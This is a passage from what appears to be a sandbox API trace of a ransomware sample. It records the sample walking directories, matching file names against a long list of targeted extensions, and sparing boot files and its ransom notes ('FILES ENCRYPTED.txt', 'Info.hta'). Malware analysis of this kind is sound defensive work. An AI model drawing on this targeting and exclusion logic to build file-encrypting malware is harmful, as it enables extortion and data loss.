returned 4 [0060.943] lstrcmpiW (lpString1=".iqy", lpString2=".log") returned -1 [0060.943] lstrlenW (lpString=".j2c") returned 4 [0060.943] lstrcmpiW (lpString1=".j2c", lpString2=".log") returned -1 [0060.943] lstrlenW (lpString=".j2k") returned 4 [0060.943] lstrcmpiW (lpString1=".j2k", lpString2=".log") returned -1 [0060.943] lstrlenW (lpString=".java") returned 5 [0060.943] lstrcmpiW (lpString1=".java", lpString2="6.log") returned -1 [0060.943] lstrlenW (lpString=".jp2") returned 4 [0060.943] lstrcmpiW (lpString1=".jp2", lpString2=".log") returned -1 [0060.943] lstrlenW (lpString=".jpc") returned 4 [0060.943] lstrcmpiW (lpString1=".jpc", lpString2=".log") returned -1 [0060.943] lstrlenW (lpString=".jpe") returned 4 [0060.943] lstrcmpiW (lpString1=".jpe", lpString2=".log") returned -1 [0060.943] lstrlenW (lpString=".jpeg") returned 5 [0060.943] lstrcmpiW (lpString1=".jpeg", lpString2="6.log") returned -1 [0060.943] lstrlenW (lpString=".jpf") returned 4 [0060.943] lstrcmpiW (lpString1=".jpf", lpString2=".log") returned -1 [0060.943] lstrlenW (lpString=".jpg") returned 4 [0060.943] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0060.943] lstrlenW (lpString=".jpx") returned 4 [0060.943] lstrcmpiW (lpString1=".jpx", lpString2=".log") returned -1 [0060.943] lstrlenW (lpString=".js") returned 3 [0060.943] lstrcmpiW (lpString1=".js", lpString2="log") returned -1 [0060.943] lstrlenW (lpString=".jsf") returned 4 [0060.943] lstrcmpiW (lpString1=".jsf", lpString2=".log") returned -1 [0060.943] lstrlenW (lpString=".json") returned 5 [0060.944] lstrcmpiW (lpString1=".json", lpString2="6.log") returned -1 [0060.944] lstrlenW (lpString=".jsp") returned 4 [0060.944] lstrcmpiW (lpString1=".jsp", lpString2=".log") returned -1 [0060.944] lstrlenW (lpString=".kdc") returned 4 [0060.944] lstrcmpiW (lpString1=".kdc", lpString2=".log") returned -1 [0060.944] lstrlenW (lpString=".kmz") returned 4 [0060.944] lstrcmpiW (lpString1=".kmz", lpString2=".log") returned -1 [0060.944] lstrlenW (lpString=".kwm") returned 4 [0060.944] lstrcmpiW (lpString1=".kwm", lpString2=".log") returned -1 [0060.944] lstrlenW (lpString=".lasso") returned 6 [0060.944] lstrcmpiW (lpString1=".lasso", lpString2="66.log") returned -1 [0060.944] lstrlenW (lpString=".lbi") returned 4 [0060.944] lstrcmpiW (lpString1=".lbi", lpString2=".log") returned -1 [0060.944] lstrlenW (lpString=".lgf") returned 4 [0060.944] lstrcmpiW (lpString1=".lgf", lpString2=".log") returned -1 [0060.944] lstrlenW (lpString=".lgp") returned 4 [0060.944] lstrcmpiW (lpString1=".lgp", lpString2=".log") returned -1 [0060.944] lstrlenW (lpString=".log") returned 4 [0060.944] lstrcmpiW (lpString1=".log", lpString2=".log") returned 0 [0060.944] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log") returned 37 [0060.944] lstrlenW (lpString=".NEWS") returned 5 [0060.944] lstrcmpiW (lpString1=".NEWS", lpString2="6.log") returned -1 [0060.944] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log") returned 37 [0060.944] lstrcmpiW (lpString1="boot.ini", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned -1 [0060.944] lstrcmpiW (lpString1="bootfont.bin", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned -1 [0060.944] lstrcmpiW (lpString1="ntldr", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned 1 [0060.944] lstrcmpiW (lpString1="ntdetect.com", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned 1 [0060.944] lstrcmpiW (lpString1="io.sys", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned 1 [0060.944] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned 1 [0060.944] lstrcmpiW (lpString1="Info.hta", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned 1 [0060.944] lstrcmpiW (lpString1="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned 1 [0060.944] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0060.944] FindNextFileW (in: hFindFile=0x583248, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x973abb0f, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x980eecb6, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1774, dwReserved0=0x0, dwReserved1=0x0, cFileName="oobe_2017_09_07_03_08_57_737.log", cAlternateFileName="OOBE_2~1.LOG")) returned 1 [0060.945] lstrlenW (lpString="oobe_2017_09_07_03_08_57_737.log") returned 32 [0060.945] lstrlenW (lpString=".1cd") returned 4 [0060.945] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0060.945] lstrlenW (lpString=".3ds") returned 4 [0060.945] lstrcmpiW (lpString1=".3ds", lpString2=".log") returned -1 [0060.945] lstrlenW (lpString=".3fr") returned 4 [0060.945] lstrcmpiW (lpString1=".3fr", lpString2=".log") returned -1 [0060.945] lstrlenW (lpString=".3g2") returned 4 [0060.945] lstrcmpiW (lpString1=".3g2", lpString2=".log") returned -1 [0060.945] lstrlenW (lpString=".3gp") returned 4 [0060.945] lstrcmpiW (lpString1=".3gp", lpString2=".log") returned -1 [0060.945] lstrlenW (lpString=".7z") returned 3 [0060.945] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0060.945] lstrlenW (lpString=".accda") returned 6 [0060.945] lstrcmpiW (lpString1=".accda", lpString2="37.log") returned -1 [0060.945] lstrlenW (lpString=".accdb") returned 6 [0060.945] lstrcmpiW (lpString1=".accdb", lpString2="37.log") returned -1 [0060.945] lstrlenW (lpString=".accdc") returned 6 [0060.945] lstrcmpiW (lpString1=".accdc", lpString2="37.log") returned -1 [0060.945] lstrlenW (lpString=".accde") returned 6 [0060.945] lstrcmpiW (lpString1=".accde", lpString2="37.log") returned -1 [0060.945] lstrlenW (lpString=".accdt") returned 6 [0060.945] lstrcmpiW (lpString1=".accdt", lpString2="37.log") returned -1 [0060.945] lstrlenW (lpString=".accdw") returned 6 [0060.945] lstrcmpiW (lpString1=".accdw", lpString2="37.log") returned -1 [0060.945] lstrlenW (lpString=".adb") returned 4 [0060.945] lstrcmpiW (lpString1=".adb", lpString2=".log") returned -1 [0060.945] lstrlenW (lpString=".adp") returned 4 [0060.945] lstrcmpiW (lpString1=".adp", lpString2=".log") returned -1 [0060.945] lstrlenW (lpString=".ai") returned 3 [0060.945] lstrcmpiW (lpString1=".ai", lpString2="log") returned -1 [0060.945] lstrlenW (lpString=".ai3") returned 4 [0060.945] lstrcmpiW (lpString1=".ai3", lpString2=".log") returned -1 [0060.945] lstrlenW (lpString=".ai4") returned 4 [0060.945] lstrcmpiW (lpString1=".ai4", lpString2=".log") returned -1 [0060.945] lstrlenW (lpString=".ai5") returned 4 [0060.946] lstrcmpiW (lpString1=".ai5", lpString2=".log") returned -1 [0060.946] lstrlenW (lpString=".ai6") returned 4 [0060.946] lstrcmpiW (lpString1=".ai6", lpString2=".log") returned -1 [0060.946] lstrlenW (lpString=".ai7") returned 4 [0060.946] lstrcmpiW (lpString1=".ai7", lpString2=".log") returned -1 [0060.946] lstrlenW (lpString=".ai8") returned 4 [0060.946] lstrcmpiW (lpString1=".ai8", lpString2=".log") returned -1 [0060.946] lstrlenW (lpString=".anim") returned 5 [0060.946] lstrcmpiW (lpString1=".anim", lpString2="7.log") returned -1 [0060.946] lstrlenW (lpString=".arw") returned 4 [0060.946] lstrcmpiW (lpString1=".arw", lpString2=".log") returned -1 [0060.946] lstrlenW (lpString=".as") returned 3 [0060.946] lstrcmpiW (lpString1=".as", lpString2="log") returned -1 [0060.946] lstrlenW (lpString=".asa") returned 4 [0060.946] lstrcmpiW (lpString1=".asa", lpString2=".log") returned -1 [0060.946] lstrlenW (lpString=".asc") returned 4 [0060.946] lstrcmpiW (lpString1=".asc", lpString2=".log") returned -1 [0060.946] lstrlenW (lpString=".ascx") returned 5 [0060.946] lstrcmpiW (lpString1=".ascx", lpString2="7.log") returned -1 [0060.946] lstrlenW (lpString=".asm") returned 4 [0060.946] lstrcmpiW (lpString1=".asm", lpString2=".log") returned -1 [0060.946] lstrlenW (lpString=".asmx") returned 5 [0060.947] lstrcmpiW (lpString1=".asmx", lpString2="7.log") returned -1 [0060.947] lstrlenW (lpString=".asp") returned 4 [0060.947] lstrcmpiW (lpString1=".asp", lpString2=".log") returned -1 [0060.947] lstrlenW (lpString=".aspx") returned 5 [0060.947] lstrcmpiW (lpString1=".aspx", lpString2="7.log") returned -1 [0060.947] lstrlenW (lpString=".asr") returned 4 [0060.947] lstrcmpiW (lpString1=".asr", lpString2=".log") returned -1 [0060.947] lstrlenW (lpString=".asx") returned 4 [0060.947] lstrcmpiW (lpString1=".asx", lpString2=".log") returned -1 [0060.947] lstrlenW (lpString=".avi") returned 4 [0060.947] lstrcmpiW (lpString1=".avi", lpString2=".log") returned -1 [0060.947] lstrlenW (lpString=".avs") returned 4 [0060.947] lstrcmpiW (lpString1=".avs", lpString2=".log") returned -1 [0060.947] lstrlenW (lpString=".backup") returned 7 [0060.947] lstrcmpiW (lpString1=".backup", lpString2="737.log") returned -1 [0060.947] lstrlenW (lpString=".bak") returned 4 [0060.947] lstrcmpiW (lpString1=".bak", lpString2=".log") returned -1 [0060.947] lstrlenW (lpString=".bay") returned 4 [0060.947] lstrcmpiW (lpString1=".bay", lpString2=".log") returned -1 [0060.947] lstrlenW (lpString=".bd") returned 3 [0060.947] lstrcmpiW (lpString1=".bd", lpString2="log") returned -1 [0060.947] lstrlenW (lpString=".bin") returned 4 [0060.947] lstrcmpiW (lpString1=".bin", lpString2=".log") returned -1 [0060.947] lstrlenW (lpString=".bmp") returned 4 [0060.947] lstrcmpiW (lpString1=".bmp", lpString2=".log") returned -1 [0060.947] lstrlenW (lpString=".bz2") returned 4 [0060.947] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0060.947] lstrlenW (lpString=".c") returned 2 [0060.947] lstrcmpiW (lpString1=".c", lpString2="og") returned -1 [0060.947] lstrlenW (lpString=".cdr") returned 4 [0060.947] lstrcmpiW (lpString1=".cdr", lpString2=".log") returned -1 [0060.947] lstrlenW (lpString=".cer") returned 4 [0060.947] lstrcmpiW (lpString1=".cer", lpString2=".log") returned -1 [0060.947] lstrlenW (lpString=".cf") returned 3 [0060.947] lstrcmpiW (lpString1=".cf", lpString2="log") returned -1 [0060.947] lstrlenW (lpString=".cfc") returned 4 [0060.948] lstrcmpiW (lpString1=".cfc", lpString2=".log") returned -1 [0060.948] lstrlenW (lpString=".cfm") returned 4 [0060.948] lstrcmpiW (lpString1=".cfm", lpString2=".log") returned -1 [0060.948] lstrlenW (lpString=".cfml") returned 5 [0060.948] lstrcmpiW (lpString1=".cfml", lpString2="7.log") returned -1 [0060.948] lstrlenW (lpString=".cfu") returned 4 [0060.948] lstrcmpiW (lpString1=".cfu", lpString2=".log") returned -1 [0060.948] lstrlenW (lpString=".chm") returned 4 [0060.948] lstrcmpiW (lpString1=".chm", lpString2=".log") returned -1 [0060.948] lstrlenW (lpString=".cin") returned 4 [0060.948] lstrcmpiW (lpString1=".cin", lpString2=".log") returned -1 [0060.948] lstrlenW (lpString=".class") returned 6 [0060.948] lstrcmpiW (lpString1=".class", lpString2="37.log") returned -1 [0060.948] lstrlenW (lpString=".clx") returned 4 [0060.948] lstrcmpiW (lpString1=".clx", lpString2=".log") returned -1 [0060.948] lstrlenW (lpString=".config") returned 7 [0060.948] lstrcmpiW (lpString1=".config", lpString2="737.log") returned -1 [0060.948] lstrlenW (lpString=".cpp") returned 4 [0060.948] lstrcmpiW (lpString1=".cpp", lpString2=".log") returned -1 [0060.948] lstrlenW (lpString=".cr2") returned 4 [0060.948] lstrcmpiW (lpString1=".cr2", lpString2=".log") returned -1 [0060.948] lstrlenW (lpString=".crt") returned 4 [0060.948] lstrcmpiW (lpString1=".crt", lpString2=".log") returned -1 [0060.948] lstrlenW (lpString=".crw") returned 4 [0060.948] lstrcmpiW (lpString1=".crw", lpString2=".log") returned -1 [0060.948] lstrlenW (lpString=".cs") returned 3 [0060.948] lstrcmpiW (lpString1=".cs", lpString2="log") returned -1 [0060.948] lstrlenW (lpString=".css") returned 4 [0060.948] lstrcmpiW (lpString1=".css", lpString2=".log") returned -1 [0060.948] lstrlenW (lpString=".csv") returned 4 [0060.948] lstrcmpiW (lpString1=".csv", lpString2=".log") returned -1 [0060.948] lstrlenW (lpString=".cub") returned 4 [0060.948] lstrcmpiW (lpString1=".cub", lpString2=".log") returned -1 [0060.948] lstrlenW (lpString=".dae") returned 4 [0060.948] lstrcmpiW (lpString1=".dae", lpString2=".log") returned -1 [0060.948] lstrlenW (lpString=".dat") returned 4 [0060.948] lstrcmpiW (lpString1=".dat", lpString2=".log") returned -1 [0060.949] lstrlenW (lpString=".db") returned 3 [0060.949] lstrcmpiW (lpString1=".db", lpString2="log") returned -1 [0060.949] lstrlenW (lpString=".dbf") returned 4 [0060.949] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0060.949] lstrlenW (lpString=".dbx") returned 4 [0060.949] lstrcmpiW (lpString1=".dbx", lpString2=".log") returned -1 [0060.949] lstrlenW (lpString=".dc3") returned 4 [0060.949] lstrcmpiW (lpString1=".dc3", lpString2=".log") returned -1 [0060.949] lstrlenW (lpString=".dcm") returned 4 [0060.949] lstrcmpiW (lpString1=".dcm", lpString2=".log") returned -1 [0060.949] lstrlenW (lpString=".dcr") returned 4 [0060.949] lstrcmpiW (lpString1=".dcr", lpString2=".log") returned -1 [0060.949] lstrlenW (lpString=".der") returned 4 [0060.949] lstrcmpiW (lpString1=".der", lpString2=".log") returned -1 [0060.949] lstrlenW (lpString=".dib") returned 4 [0060.949] lstrcmpiW (lpString1=".dib", lpString2=".log") returned -1 [0060.949] lstrlenW (lpString=".dic") returned 4 [0060.949] lstrcmpiW (lpString1=".dic", lpString2=".log") returned -1 [0060.949] lstrlenW (lpString=".dif") returned 4 [0060.949] lstrcmpiW (lpString1=".dif", lpString2=".log") returned -1 [0060.949] lstrlenW (lpString=".divx") returned 5 [0060.949] lstrcmpiW (lpString1=".divx", lpString2="7.log") returned -1 [0060.949] lstrlenW (lpString=".djvu") returned 5 [0060.949] lstrcmpiW (lpString1=".djvu", lpString2="7.log") returned -1 [0060.949] lstrlenW (lpString=".dng") returned 4 [0060.949] lstrcmpiW (lpString1=".dng", lpString2=".log") returned -1 [0060.949] lstrlenW (lpString=".doc") returned 4 [0060.949] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0060.949] lstrlenW (lpString=".docm") returned 5 [0060.949] lstrcmpiW (lpString1=".docm", lpString2="7.log") returned -1 [0060.949] lstrlenW (lpString=".docx") returned 5 [0060.949] lstrcmpiW (lpString1=".docx", lpString2="7.log") returned -1 [0060.950] lstrlenW (lpString=".dot") returned 4 [0060.950] lstrcmpiW (lpString1=".dot", lpString2=".log") returned -1 [0060.950] lstrlenW (lpString=".dotm") returned 5 [0060.950] lstrcmpiW (lpString1=".dotm", lpString2="7.log") returned -1 [0060.950] lstrlenW (lpString=".dotx") returned 5 [0060.950] lstrcmpiW (lpString1=".dotx", lpString2="7.log") returned -1 [0060.950] lstrlenW (lpString=".dpx") returned 4 [0060.950] lstrcmpiW (lpString1=".dpx", lpString2=".log") returned -1 [0060.950] lstrlenW (lpString=".dqy") returned 4 [0060.950] lstrcmpiW (lpString1=".dqy", lpString2=".log") returned -1 [0060.950] FindNextFileW (in: hFindFile=0x583248, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c5a0a89, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x9c5a0a89, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xbb3747bd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log", cAlternateFileName="PARTNE~1.LOG")) returned 1 [0060.950] FindNextFileW (in: hFindFile=0x583248, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c5a0a89, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x9c5a0a89, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xbb3747bd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log", cAlternateFileName="PARTNE~1.LOG")) returned 0 [0060.951] FindClose (in: hFindFile=0x583248 | out: hFindFile=0x583248) returned 1 [0060.952] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0060.952] FindNextFileW (in: hFindFile=0x582f48, lpFindFileData=0x34dfa7c | out: lpFindFileData=0x34dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 1 [0060.952] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS") returned 21 [0060.952] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent\\SafeOS") returned 1 [0060.952] lstrlenW (lpString="SafeOS") returned 6 [0060.952] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="SafeOS") returned -1 [0060.952] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x3d80940 [0060.952] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS") returned 21 [0060.952] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\*", lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x582c48 [0060.952] FindNextFileW (in: hFindFile=0x582c48, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.952] FindNextFileW (in: hFindFile=0x582c48, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9568f13f, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x9568f13f, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x232c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentOOBE.dll", cAlternateFileName="GETCUR~1.DLL")) returned 1 [0060.952] lstrlenW (lpString="GetCurrentOOBE.dll") returned 18 [0060.952] lstrlenW (lpString=".1cd") returned 4 [0060.952] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0060.952] lstrlenW (lpString=".3ds") returned 4 [0060.952] lstrcmpiW (lpString1=".3ds", lpString2=".dll") returned -1 [0060.952] lstrlenW (lpString=".3fr") returned 4 [0060.952] lstrcmpiW (lpString1=".3fr", lpString2=".dll") returned -1 [0060.952] lstrlenW (lpString=".3g2") returned 4 [0060.952] lstrcmpiW (lpString1=".3g2", lpString2=".dll") returned -1 [0060.952] lstrlenW (lpString=".3gp") returned 4 [0060.952] lstrcmpiW (lpString1=".3gp", lpString2=".dll") returned -1 [0060.953] lstrlenW (lpString=".7z") returned 3 [0060.953] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0060.953] lstrlenW (lpString=".accda") returned 6 [0060.953] lstrcmpiW (lpString1=".accda", lpString2="BE.dll") returned -1 [0060.953] lstrlenW (lpString=".accdb") returned 6 [0060.953] lstrcmpiW (lpString1=".accdb", lpString2="BE.dll") returned -1 [0060.953] lstrlenW (lpString=".accdc") returned 6 [0060.953] lstrcmpiW (lpString1=".accdc", lpString2="BE.dll") returned -1 [0060.953] lstrlenW (lpString=".accde") returned 6 [0060.953] lstrcmpiW (lpString1=".accde", lpString2="BE.dll") returned -1 [0060.953] lstrlenW (lpString=".accdt") returned 6 [0060.953] lstrcmpiW (lpString1=".accdt", lpString2="BE.dll") returned -1 [0060.953] lstrlenW (lpString=".accdw") returned 6 [0060.953] lstrcmpiW (lpString1=".accdw", lpString2="BE.dll") returned -1 [0060.953] lstrlenW (lpString=".adb") returned 4 [0060.953] lstrcmpiW (lpString1=".adb", lpString2=".dll") returned -1 [0060.953] lstrlenW (lpString=".adp") returned 4 [0060.953] lstrcmpiW (lpString1=".adp", lpString2=".dll") returned -1 [0060.953] lstrlenW (lpString=".ai") returned 3 [0060.953] lstrcmpiW (lpString1=".ai", lpString2="dll") returned -1 [0060.953] lstrlenW (lpString=".ai3") returned 4 [0060.953] lstrcmpiW (lpString1=".ai3", lpString2=".dll") returned -1 [0060.953] lstrlenW (lpString=".ai4") returned 4 [0060.953] lstrcmpiW (lpString1=".ai4", lpString2=".dll") returned -1 [0060.953] lstrlenW (lpString=".ai5") returned 4 [0060.953] lstrcmpiW (lpString1=".ai5", lpString2=".dll") returned -1 [0060.953] lstrlenW (lpString=".ai6") returned 4 [0060.953] lstrcmpiW (lpString1=".ai6", lpString2=".dll") returned -1 [0060.953] lstrlenW (lpString=".ai7") returned 4 [0060.953] lstrcmpiW (lpString1=".ai7", lpString2=".dll") returned -1 [0060.953] lstrlenW (lpString=".ai8") returned 4 [0060.953] lstrcmpiW (lpString1=".ai8", lpString2=".dll") returned -1 [0060.953] lstrlenW (lpString=".anim") returned 5 [0060.953] lstrcmpiW (lpString1=".anim", lpString2="E.dll") returned -1 [0060.953] lstrlenW (lpString=".arw") returned 4 [0060.953] lstrcmpiW (lpString1=".arw", lpString2=".dll") returned -1 [0060.954] lstrlenW (lpString=".as") returned 3 [0060.954] lstrcmpiW (lpString1=".as", lpString2="dll") returned -1 [0060.954] lstrlenW (lpString=".asa") returned 4 [0060.954] lstrcmpiW (lpString1=".asa", lpString2=".dll") returned -1 [0060.954] lstrlenW (lpString=".asc") returned 4 [0060.954] lstrcmpiW (lpString1=".asc", lpString2=".dll") returned -1 [0060.954] lstrlenW (lpString=".ascx") returned 5 [0060.954] lstrcmpiW (lpString1=".ascx", lpString2="E.dll") returned -1 [0060.954] lstrlenW (lpString=".asm") returned 4 [0060.954] lstrcmpiW (lpString1=".asm", lpString2=".dll") returned -1 [0060.954] lstrlenW (lpString=".asmx") returned 5 [0060.954] lstrcmpiW (lpString1=".asmx", lpString2="E.dll") returned -1 [0060.954] lstrlenW (lpString=".asp") returned 4 [0060.954] lstrcmpiW (lpString1=".asp", lpString2=".dll") returned -1 [0060.954] lstrlenW (lpString=".aspx") returned 5 [0060.954] lstrcmpiW (lpString1=".aspx", lpString2="E.dll") returned -1 [0060.954] lstrlenW (lpString=".asr") returned 4 [0060.954] lstrcmpiW (lpString1=".asr", lpString2=".dll") returned -1 [0060.954] lstrlenW (lpString=".asx") returned 4 [0060.954] lstrcmpiW (lpString1=".asx", lpString2=".dll") returned -1 [0060.954] lstrlenW (lpString=".avi") returned 4 [0060.954] lstrcmpiW (lpString1=".avi", lpString2=".dll") returned -1 [0060.954] lstrlenW (lpString=".avs") returned 4 [0060.954] lstrcmpiW (lpString1=".avs", lpString2=".dll") returned -1 [0060.954] lstrlenW (lpString=".backup") returned 7 [0060.954] lstrcmpiW (lpString1=".backup", lpString2="OBE.dll") returned -1 [0060.954] lstrlenW (lpString=".bak") returned 4 [0060.954] lstrcmpiW (lpString1=".bak", lpString2=".dll") returned -1 [0060.954] lstrlenW (lpString=".bay") returned 4 [0060.954] lstrcmpiW (lpString1=".bay", lpString2=".dll") returned -1 [0060.954] lstrlenW (lpString=".bd") returned 3 [0060.954] lstrcmpiW (lpString1=".bd", lpString2="dll") returned -1 [0060.954] lstrlenW (lpString=".bin") returned 4 [0060.954] lstrcmpiW (lpString1=".bin", lpString2=".dll") returned -1 [0060.954] lstrlenW (lpString=".bmp") returned 4 [0060.954] lstrcmpiW (lpString1=".bmp", lpString2=".dll") returned -1 [0060.954] lstrlenW (lpString=".bz2") returned 4 [0060.955] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0060.955] lstrlenW (lpString=".c") returned 2 [0060.955] lstrcmpiW (lpString1=".c", lpString2="ll") returned -1 [0060.955] lstrlenW (lpString=".cdr") returned 4 [0060.955] lstrcmpiW (lpString1=".cdr", lpString2=".dll") returned -1 [0060.955] lstrlenW (lpString=".cer") returned 4 [0060.955] lstrcmpiW (lpString1=".cer", lpString2=".dll") returned -1 [0060.955] lstrlenW (lpString=".cf") returned 3 [0060.955] lstrcmpiW (lpString1=".cf", lpString2="dll") returned -1 [0060.955] lstrlenW (lpString=".cfc") returned 4 [0060.955] lstrcmpiW (lpString1=".cfc", lpString2=".dll") returned -1 [0060.955] lstrlenW (lpString=".cfm") returned 4 [0060.955] lstrcmpiW (lpString1=".cfm", lpString2=".dll") returned -1 [0060.955] lstrlenW (lpString=".cfml") returned 5 [0060.955] lstrcmpiW (lpString1=".cfml", lpString2="E.dll") returned -1 [0060.955] lstrlenW (lpString=".cfu") returned 4 [0060.955] lstrcmpiW (lpString1=".cfu", lpString2=".dll") returned -1 [0060.955] lstrlenW (lpString=".chm") returned 4 [0060.955] lstrcmpiW (lpString1=".chm", lpString2=".dll") returned -1 [0060.955] lstrlenW (lpString=".cin") returned 4 [0060.955] lstrcmpiW (lpString1=".cin", lpString2=".dll") returned -1 [0060.955] lstrlenW (lpString=".class") returned 6 [0060.955] lstrcmpiW (lpString1=".class", lpString2="BE.dll") returned -1 [0060.955] lstrlenW (lpString=".clx") returned 4 [0060.955] lstrcmpiW (lpString1=".clx", lpString2=".dll") returned -1 [0060.955] lstrlenW (lpString=".config") returned 7 [0060.955] lstrcmpiW (lpString1=".config", lpString2="OBE.dll") returned -1 [0060.955] lstrlenW (lpString=".cpp") returned 4 [0060.955] lstrcmpiW (lpString1=".cpp", lpString2=".dll") returned -1 [0060.955] lstrlenW (lpString=".cr2") returned 4 [0060.955] lstrcmpiW (lpString1=".cr2", lpString2=".dll") returned -1 [0060.955] lstrlenW (lpString=".crt") returned 4 [0060.955] lstrcmpiW (lpString1=".crt", lpString2=".dll") returned -1 [0060.955] lstrlenW (lpString=".crw") returned 4 [0060.955] lstrcmpiW (lpString1=".crw", lpString2=".dll") returned -1 [0060.955] lstrlenW (lpString=".cs") returned 3 [0060.956] lstrcmpiW (lpString1=".cs", lpString2="dll") returned -1 [0060.956] lstrlenW (lpString=".css") returned 4 [0060.956] lstrcmpiW (lpString1=".css", lpString2=".dll") returned -1 [0060.956] lstrlenW (lpString=".csv") returned 4 [0060.956] lstrcmpiW (lpString1=".csv", lpString2=".dll") returned -1 [0060.956] lstrlenW (lpString=".cub") returned 4 [0060.956] lstrcmpiW (lpString1=".cub", lpString2=".dll") returned -1 [0060.956] lstrlenW (lpString=".dae") returned 4 [0060.956] lstrcmpiW (lpString1=".dae", lpString2=".dll") returned -1 [0060.956] lstrlenW (lpString=".dat") returned 4 [0060.956] lstrcmpiW (lpString1=".dat", lpString2=".dll") returned -1 [0060.956] lstrlenW (lpString=".db") returned 3 [0060.956] lstrcmpiW (lpString1=".db", lpString2="dll") returned -1 [0060.956] lstrlenW (lpString=".dbf") returned 4 [0060.956] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0060.956] lstrlenW (lpString=".dbx") returned 4 [0060.956] lstrcmpiW (lpString1=".dbx", lpString2=".dll") returned -1 [0060.956] lstrlenW (lpString=".dc3") returned 4 [0060.956] lstrcmpiW (lpString1=".dc3", lpString2=".dll") returned -1 [0060.956] lstrlenW (lpString=".dcm") returned 4 [0060.956] lstrcmpiW (lpString1=".dcm", lpString2=".dll") returned -1 [0060.956] lstrlenW (lpString=".dcr") returned 4 [0060.956] lstrcmpiW (lpString1=".dcr", lpString2=".dll") returned -1 